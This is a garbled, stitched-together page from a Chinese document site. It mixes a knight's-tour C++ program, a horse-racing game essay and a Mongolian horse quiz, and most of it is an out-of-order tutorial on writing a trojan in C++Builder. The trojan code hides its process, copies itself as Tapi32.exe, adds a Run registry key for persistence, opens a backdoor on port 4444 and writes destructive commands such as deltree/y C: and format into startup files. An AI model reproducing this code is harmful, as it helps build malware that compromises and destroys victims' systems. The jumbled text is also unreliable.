b){cout<<"输入行,列(0-7):"<<endl;ber=a;bec=b;start=0;test=1;while(start<8)//进行测试的次数{for(i=0;i<N;i++)//初始化board数组for(j=0;j<N;j++)board[i][j]=0;r=ber;//将当前行值赋给rc=bec;//将当前列值赋给cboard[r][c]=1;//先将初始位置赋值为一step=2;//一共走的步数while(1){if(step>N*N)//如果步数大于棋盘的格子数则表明遍历成功{cout<<"方案"<<test++<<":"<<endl;for(i=0;i<N;i++)//打印出该方案{for(j=0;j<N;j++)cout<<board[i][j]<<" ";cout<<endl;}cout<<endl;start++;//测试次数加一break;//进行下一次测试}k=next(r,c);//下次可以查找的增量的个数if(k==-1)//此路不通{start++;//测试次数加一break;//进行下一次测试}r=r+mover[k];//将当前格子行的位置赋值给rc=c+movec[k];//将当前格子列的位置赋值给cboard[r][c]=step;//将步数存入board中step++;//步数加一}}return true;}int qi::number(int r,int c){int i,k,a,b;int num=0;for(i=0;i<N;i++){k=(i+start)%N;//用于定位,保证不会超过棋盘范围和八次遍历都不会走同样的路径,并且用于控制8种可能着法的选择顺序a=r+mover[k];//由当前格子可以访问的行b=c+movec[k];//由当前格子可以访问的列if(a<N&&a>=0&&b>=0&&b<N&&board[a][b]==0)num++;//由当前格子可以访问,并且尚未访问过的格子数目}return num;}int qi::numable(int r,int c,int nexta[]){int i,k,a,b;int num=0;for(i=0;i<N;i++){k=(i+start)%N;//用于定位,保证不会超过棋盘范围和八次遍历都不会走同样的路径,并且用于控制8种可能着法的选择顺序a=r+mover[k];//由当前格子可以访问的行b=c+movec[k];//由当前格子可以访问的列if(a<=7&&a>=0&&b>=0&&b<=7&&board[a][b]==0)//下次可以访问的格子,并且尚未访问的格子{nexta[num]=k;//下次可以访问的格子num++;}}return num;}int main(){qi q;int a,b,d=1;char c;while(d!=0){cout<<"输入行,列(0-7):"<<endl;cin>>a>>b;q.begin(a,b);cout<<"是否继续(y&n):";cin>>c;if(c=='y'||c=='Y')d=1;elsed=0;system("cls");}return 0;}四、程序运行的测试与分析因为本程序最大的特点就是可以将所有可遍历成功的路径都显示出来,所以我用了两组测试数据分别对有八种成功遍历路径和小于八种成功遍历路径的情况进行说明。
赛马游戏编程实现
赛马游戏编程实现赛马游戏是一种模拟竞速体育比赛的电子游戏,玩家可以通过控制角色或者直接操作游戏中的赛马来参与比赛。
利用编程技术实现赛马游戏的开发不仅可以提升玩家的技术能力,还能够增添游戏的趣味性。
本文将介绍如何通过编程来实现一个赛马游戏。
一、游戏背景与设定在开始编程实现赛马游戏之前,我们需要先确定游戏的背景和设定。
1. 赛道设定:赛道是赛马游戏中最关键的元素之一。
我们可以选择在屏幕上绘制一个包含多个赛道的竞速场地,每个赛道上都有一匹赛马在进行比赛。
2. 赛马选择:玩家可以选择不同的赛马来进行比赛。
每匹赛马都有不同的速度和耐力属性,这会影响它们在比赛中的表现。
3. 比赛规则:我们需要确定游戏的比赛规则。
比如,比赛的长度、比赛的胜利条件等。
通常情况下,第一名通过终点线的赛马将获得比赛的胜利。
二、游戏功能的实现在确定游戏的背景和设定之后,我们需要开始实现游戏的各项功能。
1. 赛道绘制:使用编程语言提供的图形库或者游戏引擎,我们可以绘制出游戏中的赛道场景。
可以利用图形库提供的函数来绘制赛道。
比如,在屏幕上绘制多个平行的直线,每条直线代表一个赛道。
2. 赛马控制:玩家可以通过键盘或者鼠标操作来控制赛马的移动。
通过编程来监听键盘或者鼠标事件,我们可以实现对赛马的控制功能。
当玩家按下相应的按键或者进行鼠标点击时,赛马将作出相应的移动动作。
3. 赛马属性:为每匹赛马设定速度和耐力属性。
通过设定不同的属性值,我们可以实现赛马在比赛中的表现差异。
比如,速度属性高的赛马移动速度较快,耐力属性高的赛马可以在比赛中持久地保持高速。
4. 比赛逻辑:编写游戏逻辑代码来判断比赛的胜负。
每一帧(frame),比较所有赛马的当前位置,判断哪匹赛马先达到终点线,并相应地进行胜负的判定。
5. 游戏界面:编程实现游戏的界面显示。
可以在屏幕上显示比赛的相关信息,如比赛进行的时间、每匹赛马的位置等。
可以使用图形库提供的函数来绘制这些界面元素。
小蒙古马争章知识问卷
小蒙古马争章知识问卷1. 引言小蒙古马是一种独特的马种,常见于蒙古国和中国的内蒙古地区。
作为中国国家一级保护动物,小蒙古马具有重要的历史和文化意义。
本文将通过编写一个小蒙古马争章的知识问卷,进一步探索和深入了解这一马种的相关知识。
2. 小蒙古马的起源和特征2.1 起源•小蒙古马起源于史前时期,在中国古代文献中有相关的记载。
•小蒙古马在蒙古国和中国的内蒙古地区广泛分布。
2.2 特征•小蒙古马体型小而精悍,平均肩高不超过1.3米。
•小蒙古马头部粗壮,嘴唇较厚,眼睛大而明亮。
•小蒙古马毛色丰富,包括棕色、黑色、白色等多种色彩。
•小蒙古马蹄部坚硬,适应于草原等恶劣环境下的生活。
3. 小蒙古马的历史和文化意义3.1 历史意义•小蒙古马在古代是人们的重要交通工具,也是军事和经济上的重要资源。
•小蒙古马是丝绸之路上贸易往来中的重要载体。
3.2 文化意义•小蒙古马在蒙古族和内蒙古地区的文化中占据重要地位,被视为民族的象征。
•小蒙古马在传统节日和庆典中扮演重要角色,如蒙古族的那达慕大会。
4. 小蒙古马的现状和保护措施4.1 现状•小蒙古马数量逐渐减少,面临严重的生存威胁。
•科学家和保护者通过野外考察和监测,了解小蒙古马的种群分布和数量。
4.2 保护措施•设立自然保护区,保护小蒙古马的栖息地。
•加强法律法规的保护,禁止非法猎杀和贩卖小蒙古马。
•引进保护外来种马,以增加小蒙古马种群的基因多样性。
5. 小蒙古马争章知识问卷请回答以下问题: 1. 小蒙古马是哪个国家的国家一级保护动物? 2. 小蒙古马的平均肩高不超过多少米? 3. 小蒙古马有哪些常见的毛色? 4. 小蒙古马在古代的作用有哪些? 5. 小蒙古马在哪个民族和地区的文化中占据重要地位? 6. 小蒙古马现在面临什么样的生存威胁? 7. 小蒙古马的保护措施包括哪些方面?结论通过编写小蒙古马争章的知识问卷,我们进一步了解了这一马种的起源、特征、历史和文化意义,以及现状和保护措施。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; hDLL = LoadLibrary("KERNEL32"); //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess"); //得到RegisterServiceProcess()函数的地址 lpRegisterServiceProcess(GetCurrentProcessId(),1); //执行RegisterServiceProcess()函数,隐藏本进程 FreeLibrary(hDLL); //卸载动态链接库 } } 这样就终于可以隐身了,为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余 ,因此没必要在WinNt下也使用以上代码 接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动 加载: { char TempPath[MAX_PATH]; //定义一个变量 GetSystemDirectory(TempPath ,MAX_PATH); //TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径 SystemPath=AnsiString(TempPath); //格式化TempPath字符串,使之成为能供编译器使用的样式 CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE); //将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来 Registry=new TRegistry; //定义一个TRegistry对象,准备修改注册表,这一步必不可少 Registry->RootKey=HKEY_LOCAL_MACHINE; //设置主键为HKEY_LOCAL_MACHINE Registry->OpenKey("Software\\Microsoft\\Windows\\ CurrentVersion\\Run",TRUE); //打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之 try { //如果以下语句发生异常,跳至catch,以避免程序崩溃 if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe"); //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe //如果不是,就写入以上键值和内容 } catch(...) { //如果有错误,什么也不做 } } 好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中 看不见本进程了,木马的雏形初现。 接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特 定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意 不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因 此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突 ,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控 制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。 再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码: { FILE *fp=NULL; char * content; int times_of_try; char TempFile[MAX_PATH]; //定义了一堆待会儿要用到的变量 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str()); //在%System%下建立一个文本文件Win369.bat,作为临时文件使用 AnsiString temp=Socket->ReceiveText(); //接收客户端(攻击者,也就是你自己)传来的数据 } 好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧: { if(temp.SubString(0,9)=="edit conf") //如果接受到的字符串的前9个字符是“edit conf” { int number=temp.Length(); //得到字符串的长度
如何编写木马:编写木马
疯狂代码 / ĵ:http://NetworkProgramming/Article30873.html 自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端 程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网 络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来 粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。 首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用 C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马 的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客 小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个 1兆多的动态链接库——Msvbvm60.dll吗? 启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器 程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了 Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件 传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具 有上传下载功能和发邮件功能的控件。 Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且 使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现 的小程序一般只有17K左右那样。 我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的 “关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可 以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在 进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数 的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。 首先判断目标机的操作系统是Win9x还是WinNt: { DWORD dwVersion = GetVersion(); // 得到操作系统的版本号 if (dwVersion >= 0x80000000) // 操作系统是Win9x,不是WinNt { typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); //定义RegisterServiceProcess()函数的原型 HINSTANCE hDLL;
//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?! fclose(fp); //写完后关闭目标文件 Socket->SendText("Sucess"); //然后发回“Success”的成功信息 } } 你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令. 上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端 上使用“dir”命令,跟着敲啰: { else if(temp.SubString(0,3)==dir) { file://如果前3个字符是“dir” int Read_Num; char * CR_LF=\n; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); file://得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name==) { file://如果目录名为空 Socket->SendText(Fail By Open DIRs Name); file://返回“Fail By Open DIRs Name”信息 goto END; file://跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) {